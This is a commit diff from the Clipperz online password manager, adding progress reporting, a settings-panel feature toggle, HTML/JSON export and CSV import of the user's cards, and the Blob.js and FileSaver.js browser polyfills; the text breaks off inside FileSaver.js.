this.setMessage(aMessage);
MochiKit.DOM.removeElementClass(this.element(), 'ios-overlay-hide');
@ -66,6 +70,7 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
'done': function (aMessage, aDelayBeforeHiding) {
this.hideMask();
this.hideProgressBar();
this.completed(this.showDoneIcon, aMessage, aDelayBeforeHiding);
},
@ -109,14 +114,15 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
MochiKit.Base.bind(aFunctionToShowResult, this)();
this.setMessage(aMessage);
MochiKit.Async.callLater(delay, MochiKit.Base.bind(this.hide, this))
return MochiKit.Async.callLater(delay, MochiKit.Base.bind(this.hide, this))
},
'hide': function () {
var element = this.element();
this.hideProgressBar();
MochiKit.DOM.removeElementClass(element, 'ios-overlay-show');
MochiKit.DOM.addElementClass(element, 'ios-overlay-hide');
MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element);
return MochiKit.Async.callLater(1, MochiKit.Style.hideElement, element);
},
'hideSpinner': function () {
@ -133,6 +139,21 @@ Clipperz.Base.extend(Clipperz.PM.UI.Components.Overlay, Object, {
//-------------------------------------------------------------------------
'showProgressBar': function () {
MochiKit.Style.showElement(this.getElement('progressBar'));
},
'hideProgressBar': function () {
MochiKit.Style.hideElement(this.getElement('progressBar'));
},
'updateProgress': function (aProgressPercentage) {
MochiKit.Style.setElementDimensions(this.getElement('progress'), {'w': aProgressPercentage}, '%');
//console.log("OVERLAY - updating progress: " + aProgressPercentage + "%");
},
//-------------------------------------------------------------------------
'defaultDelay': function () {
return this._defaultDelay;
},

View File

@ -49,7 +49,9 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
'subscription': false,
'data': false,
},
'isFullyOpen': false
'isFullyOpen': false,
'extraFeatureComponentName': null,
'extraFeatureContent': null
};
},
@ -68,13 +70,13 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
//=========================================================================
// showDevicePin: function () {
// this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures.DevicePIN());
// },
showExtraFeatureComponent: function (aComponentName) {
toggleExtraFeatureComponent: function (aComponentName) {
return MochiKit.Base.bind(function () {
this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName]);
if (this.state['extraFeatureComponentName'] != aComponentName) {
this.showExtraFeatureContent(Clipperz.PM.UI.Components.ExtraFeatures[aComponentName], aComponentName);
} else {
this.hideExtraFeatureContent();
}
}, this);
},
@ -85,20 +87,21 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
//-------------------------------------------------------------------------
hideExtraFeatureContent: function () {
this.setState({'isFullyOpen':false});
this.setState({
'isFullyOpen': false,
'extraFeatureComponentName': null,
'extraFeatureContent': null
});
},
showExtraFeatureContent: function (aComponent) {
showExtraFeatureContent: function (aComponent, aComponentName) {
this.setState({
'isFullyOpen':true,
'extraFeatureComponentName': aComponentName,
'extraFeatureContent': aComponent(this.extraFeaturesProps())
});
},
toggleExtraFeatureContent: function () {
this.setState({'isFullyOpen':!this.state['isFullyOpen']});
},
//=========================================================================
renderIndex: function () {
@ -119,10 +122,10 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
React.DOM.li({'key':'account', 'className':this.state['index']['account'] ? 'open' : 'closed'}, [
React.DOM.h1({'key':'accountH1', 'onClick':this.toggleIndexState('account')}, "Account"),
React.DOM.ul({'key':'accountUL'}, [
React.DOM.li({'key':'account_1', 'onClick':this.showExtraFeatureComponent('Passphrase')}, [
React.DOM.li({'key':'account_1', 'onClick':this.toggleExtraFeatureComponent('Passphrase'), 'className':(this.state['extraFeatureComponentName'] == 'Passphrase') ? 'selected' : ''}, [
React.DOM.h2({'key':'account_1_h2'}, "Passphrase"),
React.DOM.div({'key':'account_1_div'}, [
React.DOM.p({'key':'account_1_p'}, "")
React.DOM.p({'key':'account_1_p'}, "Change your account passphrase.")
])
]),
React.DOM.li({'key':'account_2'}, [
@ -131,7 +134,7 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
React.DOM.p({}, "")
])
]),
React.DOM.li({'key':'account_3', 'onClick':this.showExtraFeatureComponent('DevicePIN')}, [
React.DOM.li({'key':'account_3', 'onClick':this.toggleExtraFeatureComponent('DevicePIN')}, [
React.DOM.h2({}, "Device PIN"),
React.DOM.div({}, [
React.DOM.p({}, "Configure a PIN that will allow to get access to your cards, but only on this device.")
@ -143,10 +146,10 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
React.DOM.p({}, "")
])
]),
React.DOM.li({'key':'account_5', 'onClick':this.showExtraFeatureComponent('DeleteAccount')}, [
React.DOM.li({'key':'account_5', 'onClick':this.toggleExtraFeatureComponent('DeleteAccount'), 'className':(this.state['extraFeatureComponentName'] == 'DeleteAccount') ? 'selected' : ''}, [
React.DOM.h2({}, "Delete account"),
React.DOM.div({}, [
React.DOM.p({}, "")
React.DOM.p({}, "Delete your account for good.")
])
])
])
@ -183,29 +186,29 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
React.DOM.li({'key':'data', 'className':this.state['index']['data'] ? 'open' : 'closed'}, [
React.DOM.h1({'onClick':this.toggleIndexState('data')}, "Data"),
React.DOM.ul({'key':'data'}, [
React.DOM.li({'key':'data_1'}, [
React.DOM.h2({}, "Offline copy"),
React.DOM.div({}, [
React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."),
React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download")
])
]),
React.DOM.li({'key':'data_2', 'onClick':this.showExtraFeatureComponent('DataImport')}, [
// React.DOM.li({'key':'data_1'}, [
// React.DOM.h2({}, "Offline copy"),
// React.DOM.div({}, [
// React.DOM.p({}, "With just one click you can dump all your encrypted data from Clipperz servers to your hard disk and create a read-only offline version of Clipperz to be used when you are not connected to the Internet."),
// React.DOM.a({'className':Clipperz.PM.UI.Components.classNames(offlineCopyButtonClasses), 'onClick':this.handleDownloadOfflineCopyLink}, "Download")
// ])
// ]),
React.DOM.li({'key':'data_2', 'onClick':this.toggleExtraFeatureComponent('DataImport'), 'className':(this.state['extraFeatureComponentName'] == 'DataImport') ? 'selected' : ''}, [
React.DOM.h2({}, "Import"),
React.DOM.div({}, [
React.DOM.p({}, "")
React.DOM.p({}, "CSV, JSON, …")
])
]),
React.DOM.li({'key':'data_3'}, [
React.DOM.li({'key':'data_3', 'onClick':this.toggleExtraFeatureComponent('DataExport'), 'className':(this.state['extraFeatureComponentName'] == 'DataExport') ? 'selected' : ''}, [
React.DOM.h2({}, "Export"),
React.DOM.div({}, [
React.DOM.p({}, "")
React.DOM.p({}, "Offline copy, printable version, JSON, …")
])
]),
React.DOM.li({'key':'data_4'}, [
React.DOM.h2({}, "Sharing"),
React.DOM.div({}, [
React.DOM.p({}, "")
React.DOM.p({}, "Securely share cards with other users")
])
])
])
@ -230,17 +233,20 @@ Clipperz.PM.UI.Components.Panels.ExtraFeaturesPanelClass = React.createClass({
render: function () {
//console.log("ExtraFeaturesPanel props", this.props);
var isOpen = (this.props['settingsPanelStatus'] == 'OPEN');
var isFullyOpen = isOpen && this.state['isFullyOpen'];
var classes = {
'panel': true,
'right': true,
'open': this.props['settingsPanelStatus'] == 'OPEN',
'fullOpen': this.state['isFullyOpen']
'open': isOpen,
'fullOpen': isFullyOpen
}
return React.DOM.div({'key':'extraFeaturesPanel', 'id':'extraFeaturesPanel', 'className':Clipperz.PM.UI.Components.classNames(classes)}, [
this.renderIndex(),
this.renderContent(),
// (this.props['settingsPanelStatus'] == 'OPEN') ? this.renderContent() : null,
]);
}

View File

@ -0,0 +1,278 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI');
// https://github.com/eligrey/FileSaver.js
// https://github.com/eligrey/Blob.js
Clipperz.PM.UI.ExportController = function(args) {
this._recordsInfo = args['recordsInfo'] || Clipperz.Base.exception.raise('MandatoryParameter');
this._processedRecords = 0;
this._style =
"body {" +
"font-family: 'Dejavu Sans', monospace;" +
"margin: 0px;" +
"}" +
"header {" +
"padding: 10px;" +
"border-bottom: 2px solid black;" +
"}" +
"h1 {" +
"margin: 0px;" +
"}" +
"h2 {" +
"margin: 0px;" +
"padding-top: 10px;" +
"}" +
"h3 {" +
"margin: 0px;" +
"}" +
"h5 {" +
"margin: 0px;" +
"color: gray;" +
"}" +
"ul {" +
"margin: 0px;" +
"padding: 0px;" +
"}" +
"div > ul > li {" +
"border-bottom: 1px solid black;" +
"padding: 10px;" +
"}" +
"div > ul > li.archived {" +
"background-color: #ddd;" +
"}" +
"ul > li > ul > li {" +
"font-size: 9pt;" +
"display: inline-block;" +
"}" +
"ul > li > ul > li:after {" +
"content: \",\";" +
"padding-right: 5px;" +
"}" +
"ul > li > ul > li:last-child:after {" +
"content: \"\";" +
"padding-right: 0px;" +
"}" +
"dl {" +
"}" +
"dt {" +
"color: gray;" +
"font-size: 9pt;" +
"}" +
"dd {" +
"margin: 0px;" +
"margin-bottom: 5px;" +
"padding-left: 10px;" +
"}" +
"div > div {" +
"background-color: black;" +
"color: white;" +
"padding: 10px;" +
"}" +
"textarea {" +
"width: 100%;" +
"height: 200px;" +
"}" +
"@media print {" +
"div > div, header > div {" +
"display: none !important;" +
"}" +
"ul > li {" +
"page-break-inside: avoid;" +
"} " +
"}" +
"";
return this;
}
MochiKit.Base.update(Clipperz.PM.UI.ExportController.prototype, {
'toString': function() {
return "Clipperz.PM.UI.ExportController";
},
//-----------------------------------------------------------------------------
'recordsInfo': function () {
return this._recordsInfo;
},
//=============================================================================
'reportRecordExport': function (aRecordData) {
var percentage;
var exportedCardsCount;
var totalCardsToExport;
this._processedRecords = this._processedRecords + 1;
exportedCardsCount = this._processedRecords;
totalCardsToExport = this.recordsInfo().length;
percentage = Math.round(100 * exportedCardsCount / totalCardsToExport);
//console.log("PROCESSING " + exportedCardsCount + "/" + totalCardsToExport + " - " + percentage + "%");
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'updateProgress', percentage);
return MochiKit.Async.succeed(aRecordData);
},
//=============================================================================
'renderCardToHtml': function (jsonCardData) {
var label = Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(jsonCardData.label);
var allTags = MochiKit.Base.keys(Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(jsonCardData.label));
var regularTags = MochiKit.Base.filter(Clipperz.PM.DataModel.Record.isRegularTag, allTags);
var isArchived = MochiKit.Iter.some(allTags, MochiKit.Base.partial(MochiKit.Base.objEqual, Clipperz.PM.DataModel.Record.archivedTag));
return MochiKit.DOM.LI({'class': isArchived ? 'archived' : ""},
MochiKit.DOM.H2({}, label),
(regularTags.length > 0) ? MochiKit.DOM.UL({}, MochiKit.Base.map(function (tag) { return MochiKit.DOM.LI({}, tag);}, regularTags)): null,
MochiKit.DOM.DIV({},
MochiKit.DOM.DL({},
MochiKit.Base.map(function(key) {
return [
MochiKit.DOM.DT(jsonCardData.currentVersion.fields[key].label),
MochiKit.DOM.DD(jsonCardData.currentVersion.fields[key].value),
];
}, MochiKit.Base.keys(jsonCardData.currentVersion.fields))
)
),
jsonCardData.data.notes ? MochiKit.DOM.P({}, jsonCardData.data.notes) : null
);
},
'renderToHtml': function (jsonData) {
var title;
var style;
var date;
var body;
title = "Clipperz data";
style = this._style;
date = "dd/mm/yyyy";
body = MochiKit.DOM.DIV({},
MochiKit.DOM.HEADER({},
MochiKit.DOM.H1({}, "Your data on Clipperz"),
MochiKit.DOM.H5({}, "Export date: " + date),
MochiKit.DOM.DIV({},
MochiKit.DOM.P({}, "Security warning - This file lists the content of all your cards in a printer-friendly format. At the very bottom, the same content is also available in JSON format."),
MochiKit.DOM.P({}, "Beware: all data are unencrypted! Therefore make sure to properly store and manage this file. We recommend to delete it as soon as it is no longer needed."),
MochiKit.DOM.P({}, "If you are going to print its content on paper, store the printout in a safe and private place!"),
MochiKit.DOM.P({}, "And, if you need to access your data when no Internet connection is available, please consider the much safer option of creating an offline copy.")
)
),
MochiKit.DOM.UL({}, MochiKit.Base.map(this.renderCardToHtml, jsonData)),
MochiKit.DOM.DIV({},
MochiKit.DOM.H3({}, "JSON content"),
MochiKit.DOM.DIV({},
MochiKit.DOM.P({}, "Instructions on how to use JSON content"),
MochiKit.DOM.P({}, "The JSON version of your data may be useful if you want to move the whole content of your Clipperz account to a new Clipperz account or recover a card that has been accidentally deleted. Just follow these instructions:"),
MochiKit.DOM.OL({},
MochiKit.DOM.LI({}, "Login to your Clipperz account and go to \"Data > Import\"."),
MochiKit.DOM.LI({}, "Select the JSON option."),
MochiKit.DOM.LI({}, "Copy and paste the JSON content in the form.")
),
MochiKit.DOM.P({}, "Of course, the unencrypted JSON content won't be transmitted to the Clipperz server.")
),
MochiKit.DOM.TEXTAREA({}, Clipperz.Base.serializeJSON(jsonData)),
MochiKit.DOM.FOOTER({},
MochiKit.DOM.P({},
"This file has been downloaded from clipperz.is, a service by Clipperz Srl. - ",
MochiKit.DOM.A({'href':'https://clipperz.is/terms_service/'}, "Terms of service"),
" - ",
MochiKit.DOM.A({'href':'https://clipperz.is/privacy_policy/'}, "Privacy policy")
),
MochiKit.DOM.H4({}, "Clipperz - keep it to yourself")
)
)
);
return '<html><head><title>' + title + '</title><style type="text/css">' + style + '</style></head><body>' + MochiKit.DOM.toHTML(body) + '</body></html>';
},
//----------------------------------------------------------------------------
'saveResult': function (exportedJSON) {
var blob;
var sortedJSON;
sortedJSON = MochiKit.Iter.sorted(exportedJSON, function(a,b) { return a.label.toUpperCase().localeCompare(b.label.toUpperCase()); } );
blob = new Blob([this.renderToHtml(sortedJSON)], {type: "text/html;charset=utf-8"});
saveAs(blob, "clipperz_data.html");
},
//=============================================================================
'run': function () {
var deferredResult;
var self = this;
deferredResult = new Clipperz.Async.Deferred("ExportController.run", {trace:false});
deferredResult.addCallback(MochiKit.Base.map, function(recordIn) {
var innerDeferredResult;
innerDeferredResult = new Clipperz.Async.Deferred("ExportController.run__exportRecord", {trace:false});
innerDeferredResult.addMethod(recordIn._rowObject, 'export');
innerDeferredResult.addMethod(self, 'reportRecordExport');
innerDeferredResult.callback();
return innerDeferredResult;
});
deferredResult.addCallback(Clipperz.Async.collectAll);
deferredResult.addMethod(this, 'saveResult');
deferredResult.callback(this.recordsInfo());
return deferredResult;
},
//=============================================================================
__syntaxFix__: "syntax fix"
});

View File

@ -0,0 +1,148 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
"use strict";
Clipperz.Base.module('Clipperz.PM.UI');
Clipperz.PM.UI.ImportContext = function(args) {
this.inputString = null;
return this;
}
MochiKit.Base.update(Clipperz.PM.UI.ImportContext.prototype, {
'toString': function() {
return "Clipperz.PM.UI.ImportContext";
},
//=============================================================================
'resetContext': function() {
delete this.inputString;
delete this.format;
delete this.jsonToImport;
delete this.recordsToImport;
},
'getInitialJsonContext': function(aJsonList) {
return {
'format': 'json',
'jsonToImport': aJsonList,
'recordsToImport': aJsonList.map(function(d){return d._importId})
};
},
'getInitialCsvContext': function(aCsvTable) {
var result;
var nColumns;
var defaultSelectedColumns;
var defaultHiddenColumns;
var defaultColumnLabels;
var columnLabelsFirstrow;
var i;
nColumns = aCsvTable[0].length;
defaultSelectedColumns = {};
defaultHiddenColumns = {};
defaultColumnLabels = {};
columnLabelsFirstrow = {};
for (i=0; i<nColumns; i++) {
defaultSelectedColumns[i] = true;
defaultHiddenColumns[i] = false;
defaultColumnLabels[i] = "";
columnLabelsFirstrow[i] = aCsvTable[0][i];
}
return {
'format': 'csv',
'parsedCsv': aCsvTable,
'nColumns': nColumns,
'selectedColumns': defaultSelectedColumns,
'firstRowAsLabels': false,
'columnLabels': defaultColumnLabels,
'columnLabelsFirstrow': columnLabelsFirstrow,
'titlesColumn': null,
'notesColumn': null,
'hiddenColumns': defaultHiddenColumns,
};
},
'getCsvLabels': function() {
return (this.firstRowAsLabels) ? this.columnLabelsFirstrow : this.columnLabels;
},
'processCsv': function() {
var jsonToImport;
var recordsToImport;
var columnLabels = this.getCsvLabels();
jsonToImport = [];
for (rowCount=0; rowCount<this.parsedCsv.length; rowCount++) {
var rowCount,cellCount;
if (rowCount != 0 || ! this.firstRowAsLabels) {
var record;
record = {};
record._importId = rowCount;
record.label = this.parsedCsv[rowCount][this.titlesColumn];
record.data = {'notes': ""};
record.currentVersion = {'fields': {}};
for (cellCount=0; cellCount<this.parsedCsv[rowCount].length; cellCount++) {
if (this.selectedColumns[cellCount] && cellCount != this.notesColumn && cellCount != this.titlesColumn) {
var fieldKey = rowCount+"-"+cellCount;
var field = {
'label': columnLabels[cellCount],
'value': this.parsedCsv[rowCount][cellCount],
'hidden': this.hiddenColumns[cellCount]
};
record.currentVersion.fields[fieldKey] = field;
} else if (cellCount == this.notesColumn) {
record.data.notes = this.parsedCsv[rowCount][cellCount];
}
}
jsonToImport.push(record);
}
}
if (typeof(this.recordsToImport) == 'undefined') {
recordsToImport = MochiKit.Base.map(function(r){return r._importId},jsonToImport);
} else {
recordsToImport = this.recordsToImport;
}
return {
'jsonToImport': jsonToImport,
'recordsToImport': recordsToImport
};
},
//=============================================================================
__syntaxFix__: "syntax fix"
});

View File

@ -62,7 +62,11 @@ Clipperz.PM.UI.MainController = function() {
this.registerForNotificationCenterEvents([
'doLogin', 'registerNewUser', 'showRegistrationForm', 'goBack',
'changePassphrase', 'deleteAccount', 'importCards',
'changePassphrase', 'deleteAccount',
// 'export',
'importCards',
'downloadExport',
'updateProgress',
'toggleSelectionPanel', 'toggleSettingsPanel',
'matchMediaQuery', 'unmatchMediaQuery',
'selectAllCards', 'selectRecentCards', 'search', 'tagSelected', 'selectUntaggedCards',
@ -105,6 +109,10 @@ MochiKit.Base.update(Clipperz.PM.UI.MainController.prototype, {
return this._overlay;
},
updateProgress_handler: function (aProgressPercentage) {
this.overlay().updateProgress(aProgressPercentage);
},
loginForm: function () {
return this._loginForm;
},
@ -257,7 +265,7 @@ console.log("THE BROWSER IS OFFLINE");
checkPassphrase: function( passphraseIn ) {
var deferredResult;
deferredResult = new Clipperz.Async.Deferred("MainController.deleteAccount_handler", {trace: false});
deferredResult = new Clipperz.Async.Deferred("MainController.checkPassphrase", {trace: false});
deferredResult.addMethod(this.user(), 'getPassphrase');
deferredResult.addCallback(function (candidatePassphrase, realPassphrase) { return candidatePassphrase == realPassphrase; }, passphraseIn );
@ -499,6 +507,9 @@ console.log("THE BROWSER IS OFFLINE");
deferredResult = new Clipperz.Async.Deferred('MainController.updateSelectedCard', {trace:false});
deferredResult.addMethod(this.user(), 'getRecord', someInfo['reference']);
// deferredResult.addMethod(this, function(d) {console.log(d); return d;});
deferredResult.addMethod(this, 'collectRecordInfo');
deferredResult.addMethod(this, 'setPageProperties', 'mainPage', 'selectedCard');
@ -1236,6 +1247,28 @@ console.log("THE BROWSER IS OFFLINE");
//----------------------------------------------------------------------------
// export_handler: function(exportType) {
// return Clipperz.PM.UI.ExportController.exportJSON( this.recordsInfo(), exportType );
// },
downloadExport_handler: function () {
var exportController;
var deferredResult;
exportController = new Clipperz.PM.UI.ExportController({'recordsInfo': this.recordsInfo()});
deferredResult = new Clipperz.Async.Deferred("MainController.downloadExport_handler", {trace: false});
deferredResult.addMethod(this.overlay(), 'show', "exporting …", true, true);
// deferredResult.addCallback(MochiKit.Signal.signal, Clipperz.Signal.NotificationCenter, 'toggleSettingsPanel');
deferredResult.addMethod(exportController, 'run');
deferredResult.addMethod(this.overlay(), 'done', "", 1);
deferredResult.callback();
return deferredResult;
},
//----------------------------------------------------------------------------
changePassphrase_handler: function(newPassphrase) {
var currentPage = this.pages()[this.currentPage()];
var deferredResult;
@ -1261,11 +1294,20 @@ console.log("THE BROWSER IS OFFLINE");
deleteAccount_handler: function() {
var deferredResult;
var doneMessageDelay = 2;
deferredResult = new Clipperz.Async.Deferred("MainController.deleteAccount_handler", {trace: false});
deferredResult.addCallback(MochiKit.Base.method(this, 'ask', {
'question': "Do you really want to permanently delete your account?",
'possibleAnswers':{
'cancel': {'label':"No", 'isDefault':true, 'answer':MochiKit.Base.methodcaller('cancel', new MochiKit.Async.CancelledError())},
'revert': {'label':"Yes", 'isDefault':false, 'answer':MochiKit.Base.methodcaller('callback')}
}
})),
deferredResult.addMethod(this.overlay(), 'show', "deleting …", true);
deferredResult.addMethod(this.user(), 'deleteAccount');
deferredResult.addCallback(function() { window.location.href = '/'; });
deferredResult.addMethod(this.overlay(), 'done', "deleted", doneMessageDelay);
deferredResult.addCallback(MochiKit.Async.callLater, doneMessageDelay, function() { window.location.href = '/'; });
deferredResult.callback();

View File

@ -0,0 +1,234 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
/* Blob.js
* A Blob implementation.
* 2014-07-24
*
* By Eli Grey, http://eligrey.com
* By Devin Samarin, https://github.com/dsamarin
* License: X11/MIT
* See https://github.com/eligrey/Blob.js/blob/master/LICENSE.md
*/
/*global self, unescape */
/*jslint bitwise: true, regexp: true, confusion: true, es5: true, vars: true, white: true,
plusplus: true */
/*! @source http://purl.eligrey.com/github/Blob.js/blob/master/Blob.js */
(function (view) {
"use strict";
view.URL = view.URL || view.webkitURL;
if (view.Blob && view.URL) {
try {
new Blob;
return;
} catch (e) {}
}
// Internally we use a BlobBuilder implementation to base Blob off of
// in order to support older browsers that only have BlobBuilder
var BlobBuilder = view.BlobBuilder || view.WebKitBlobBuilder || view.MozBlobBuilder || (function(view) {
var
get_class = function(object) {
return Object.prototype.toString.call(object).match(/^\[object\s(.*)\]$/)[1];
}
, FakeBlobBuilder = function BlobBuilder() {
this.data = [];
}
, FakeBlob = function Blob(data, type, encoding) {
this.data = data;
this.size = data.length;
this.type = type;
this.encoding = encoding;
}
, FBB_proto = FakeBlobBuilder.prototype
, FB_proto = FakeBlob.prototype
, FileReaderSync = view.FileReaderSync
, FileException = function(type) {
this.code = this[this.name = type];
}
, file_ex_codes = (
"NOT_FOUND_ERR SECURITY_ERR ABORT_ERR NOT_READABLE_ERR ENCODING_ERR "
+ "NO_MODIFICATION_ALLOWED_ERR INVALID_STATE_ERR SYNTAX_ERR"
).split(" ")
, file_ex_code = file_ex_codes.length
, real_URL = view.URL || view.webkitURL || view
, real_create_object_URL = real_URL.createObjectURL
, real_revoke_object_URL = real_URL.revokeObjectURL
, URL = real_URL
, btoa = view.btoa
, atob = view.atob
, ArrayBuffer = view.ArrayBuffer
, Uint8Array = view.Uint8Array
, origin = /^[\w-]+:\/*\[?[\w\.:-]+\]?(?::[0-9]+)?/
;
FakeBlob.fake = FB_proto.fake = true;
while (file_ex_code--) {
FileException.prototype[file_ex_codes[file_ex_code]] = file_ex_code + 1;
}
// Polyfill URL
if (!real_URL.createObjectURL) {
URL = view.URL = function(uri) {
var
uri_info = document.createElementNS("http://www.w3.org/1999/xhtml", "a")
, uri_origin
;
uri_info.href = uri;
if (!("origin" in uri_info)) {
if (uri_info.protocol.toLowerCase() === "data:") {
uri_info.origin = null;
} else {
uri_origin = uri.match(origin);
uri_info.origin = uri_origin && uri_origin[1];
}
}
return uri_info;
};
}
URL.createObjectURL = function(blob) {
var
type = blob.type
, data_URI_header
;
if (type === null) {
type = "application/octet-stream";
}
if (blob instanceof FakeBlob) {
data_URI_header = "data:" + type;
if (blob.encoding === "base64") {
return data_URI_header + ";base64," + blob.data;
} else if (blob.encoding === "URI") {
return data_URI_header + "," + decodeURIComponent(blob.data);
} if (btoa) {
return data_URI_header + ";base64," + btoa(blob.data);
} else {
return data_URI_header + "," + encodeURIComponent(blob.data);
}
} else if (real_create_object_URL) {
return real_create_object_URL.call(real_URL, blob);
}
};
URL.revokeObjectURL = function(object_URL) {
if (object_URL.substring(0, 5) !== "data:" && real_revoke_object_URL) {
real_revoke_object_URL.call(real_URL, object_URL);
}
};
FBB_proto.append = function(data/*, endings*/) {
var bb = this.data;
// decode data to a binary string
if (Uint8Array && (data instanceof ArrayBuffer || data instanceof Uint8Array)) {
var
str = ""
, buf = new Uint8Array(data)
, i = 0
, buf_len = buf.length
;
for (; i < buf_len; i++) {
str += String.fromCharCode(buf[i]);
}
bb.push(str);
} else if (get_class(data) === "Blob" || get_class(data) === "File") {
if (FileReaderSync) {
var fr = new FileReaderSync;
bb.push(fr.readAsBinaryString(data));
} else {
// async FileReader won't work as BlobBuilder is sync
throw new FileException("NOT_READABLE_ERR");
}
} else if (data instanceof FakeBlob) {
if (data.encoding === "base64" && atob) {
bb.push(atob(data.data));
} else if (data.encoding === "URI") {
bb.push(decodeURIComponent(data.data));
} else if (data.encoding === "raw") {
bb.push(data.data);
}
} else {
if (typeof data !== "string") {
data += ""; // convert unsupported types to strings
}
// decode UTF-16 to binary string
bb.push(unescape(encodeURIComponent(data)));
}
};
FBB_proto.getBlob = function(type) {
if (!arguments.length) {
type = null;
}
return new FakeBlob(this.data.join(""), type, "raw");
};
FBB_proto.toString = function() {
return "[object BlobBuilder]";
};
FB_proto.slice = function(start, end, type) {
var args = arguments.length;
if (args < 3) {
type = null;
}
return new FakeBlob(
this.data.slice(start, args > 1 ? end : this.data.length)
, type
, this.encoding
);
};
FB_proto.toString = function() {
return "[object Blob]";
};
FB_proto.close = function() {
this.size = 0;
delete this.data;
};
return FakeBlobBuilder;
}(view));
view.Blob = function(blobParts, options) {
var type = options ? (options.type || "") : "";
var builder = new BlobBuilder();
if (blobParts) {
for (var i = 0, len = blobParts.length; i < len; i++) {
if (Uint8Array && blobParts[i] instanceof Uint8Array) {
builder.append(blobParts[i].buffer);
}
else {
builder.append(blobParts[i]);
}
}
}
var blob = builder.getBlob(type);
if (!blob.slice && blob.webkitSlice) {
blob.slice = blob.webkitSlice;
}
return blob;
};
var getPrototypeOf = Object.getPrototypeOf || function(object) {
return object.__proto__;
};
view.Blob.prototype = getPrototypeOf(new view.Blob());
}(typeof self !== "undefined" && self || typeof window !== "undefined" && window || this.content || this));

View File

@ -0,0 +1,271 @@
/*
Copyright 2008-2015 Clipperz Srl
This file is part of Clipperz, the online password manager.
For further information about its features and functionalities please
refer to http://www.clipperz.com.
* Clipperz is free software: you can redistribute it and/or modify it
under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
* Clipperz is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
*/
/* FileSaver.js
* A saveAs() FileSaver implementation.
* 2015-03-04
*
* By Eli Grey, http://eligrey.com
* License: X11/MIT
* See https://github.com/eligrey/FileSaver.js/blob/master/LICENSE.md
*/
/*global self */
/*jslint bitwise: true, indent: 4, laxbreak: true, laxcomma: true, smarttabs: true, plusplus: true */
/*! @source http://purl.eligrey.com/github/FileSaver.js/blob/master/FileSaver.js */
var saveAs = saveAs
// IE 10+ (native saveAs)
|| (typeof navigator !== "undefined" &&
navigator.msSaveOrOpenBlob && navigator.msSaveOrOpenBlob.bind(navigator))
// Everyone else
|| (function(view) {
"use strict";
// IE <10 is explicitly unsupported
if (typeof navigator !== "undefined" &&
/MSIE [1-9]\./.test(navigator.userAgent)) {
return;
}
var
doc = view.document
// only get URL when necessary in case Blob.js hasn't overridden it yet
, get_URL = function() {
return view.URL || view.webkitURL || view;
}
, save_link = doc.createElementNS("http://www.w3.org/1999/xhtml", "a")
, can_use_save_link = "download" in save_link
, click = function(node) {
var event = doc.createEvent("MouseEvents");
event.initMouseEvent(
"click", true, false, view, 0, 0, 0, 0, 0
, false, false, false, false, 0, null
);
node.dispatchEvent(event);
}
, webkit_req_fs = view.webkitRequestFileSystem
, req_fs = view.requestFileSystem || webkit_req_fs || view.mozRequestFileSystem
, throw_outside = function(ex) {
(view.setImmediate || view.setTimeout)(function() {
throw ex;
